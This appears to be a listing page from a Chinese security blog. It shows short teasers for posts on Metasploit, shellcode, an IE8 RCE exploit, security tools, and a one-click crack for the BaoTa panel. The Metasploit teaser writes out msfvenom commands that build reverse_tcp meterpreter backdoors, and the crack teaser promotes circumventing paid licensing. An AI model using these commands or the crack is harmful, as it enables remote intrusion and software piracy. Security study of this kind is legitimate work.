关注我们

安云

  • 来买个小内存u盘么咯?盘内带电脑垃圾清理.bat那种

    来买个小内存u盘么咯?盘内带电脑垃圾清理.bat那种

    在某宝个别店铺购买了小内存u盘到货后插入电脑,发现自带了一个名为电脑垃圾清理的小程序。对就是这货怀揣着这家店真好,还带了垃圾清理软件的想法,我试着运行了软件.但是好像没有卵用.正好小表弟好像对这个比较了解,我去问问他咋回事儿小表弟下班回家后...

    安云 安全文摘 2019.08.08 254689
  • CTF之md5截断比较验证填坑

    CTF之md5截断比较验证填坑

    背景CTF有个特别狗,也特别烦的东西,就是MD5截断验证,今天我就遇到了.正文嗯,举个栗子啥意思呢?就是说,验证明文(Code)+随机字符串(fTyHgZII)在md5加密之后截取前六位等于b77333来,看效果注释有了,按题目需求,直接改...

    安云 安全文摘 2019.08.08 245213
  • Metasploit笔记

    Metasploit笔记

    生成exe后门msfvenom -p windows/meterpreter/reverse_tcp LHOST=IP LPORT=PORT -f exe -o 1987.exe生成PHP后门msfvenom -p php/meterpre...

    安云 安全文摘 2019.08.08 222916
  • Cloud-Security-Audit:一款基于Go的AWS命令行安全审计工具

    Cloud-Security-Audit:一款基于Go的AWS命令行安全审计工具

    cloud-security-audit是一款适用于AWS的命令行安全审计工具。它可以帮助你扫描AWS账户中的漏洞,你将能够快速识别基础架构中不安全的部分,并执行对AWS账户的审计工作。安装目前,Cloud Security Audit不支...

    安云 安全工具 2019.07.22 254759
  • Miteru:实验性网络钓鱼工具包检测工具

    Miteru:实验性网络钓鱼工具包检测工具

    MiteruMiteru是一款实验性网络钓鱼检测工具,广大研究人员可以使用这款工具来进行网络钓鱼工具的感染检测。工具运行机制该工具可以从下列来源收集钓鱼URL地址:1、 CertStream-Suspicious feed2、&n...

    安云 安全工具 2019.07.20 308130
  • Vulnerable Target Detection 脆弱目标检测工具1.0.0.2

    Vulnerable Target Detection 脆弱目标检测工具1.0.0.2

    脆弱目标检测工具v1.0.0.2 功能介绍#bug修复1.修复shodan 提取IP只能提取一页 原因参数填写错误。2.修复fofa vip等级较高的情况下提取ip一页。#未修复bug 1.不能在shodan 输入漏洞关键词中添加...

    安云 安全工具 2019.07.13 349379
  • 编写Windows x64的shellcode

    编写Windows x64的shellcode

    很久以前我写过三篇关于如何编写Windows shellcode(x86 - 32位)的详细博客文章。文章初学者友好,包含很多细节。第一部分解释什么是shellcode,哪些是它的局限性,第二部分解释了PEB(进程环境块),PE(可移植可执...

    安云 安全文摘 2019.07.02 246182
  • 无需Native Code的RCE——IE8中的写入原语利用

    无需Native Code的RCE——IE8中的写入原语利用

    在2018年的最后一天,我在Internet Explorer中发现了一个类型混淆漏洞,它产生了一个干净的write-what-where原语。它将今年四月修补为CVE-2019-0752。作为练习,我使用原始的开发技术为此漏洞编写了一个完...

    安云 安全文摘 2019.06.29 247482
  • 宝塔6.9.x一键破解

    宝塔6.9.x一键破解

    破解效果如图针对宝塔面板Linux版本一键破解,傻瓜式操作。已支持破解功能:网站防篡改程序2.4宝塔系统加固2.2网站监控报表2.7Nginx防火墙7.0.3Apache防火墙6.8宝塔负载均衡1.5MySQL主从复制2.1宝塔任务管理器1...

    安云 安全工具 2019.06.17 603489
  • Superl-url:一款开源关键词URL采集工具

    Superl-url:一款开源关键词URL采集工具

    superl-url是一款开源的,并且功能强大的关键词URL采集工具,可以根据关键词,对搜索引擎内容检索结果的网址内容进行采集。  程序主要运用于安全渗透测试项目,以及批量评估各类CMS系统0DAY的影响程度,同时也是批...

    安云 安全工具 2019.06.04 352814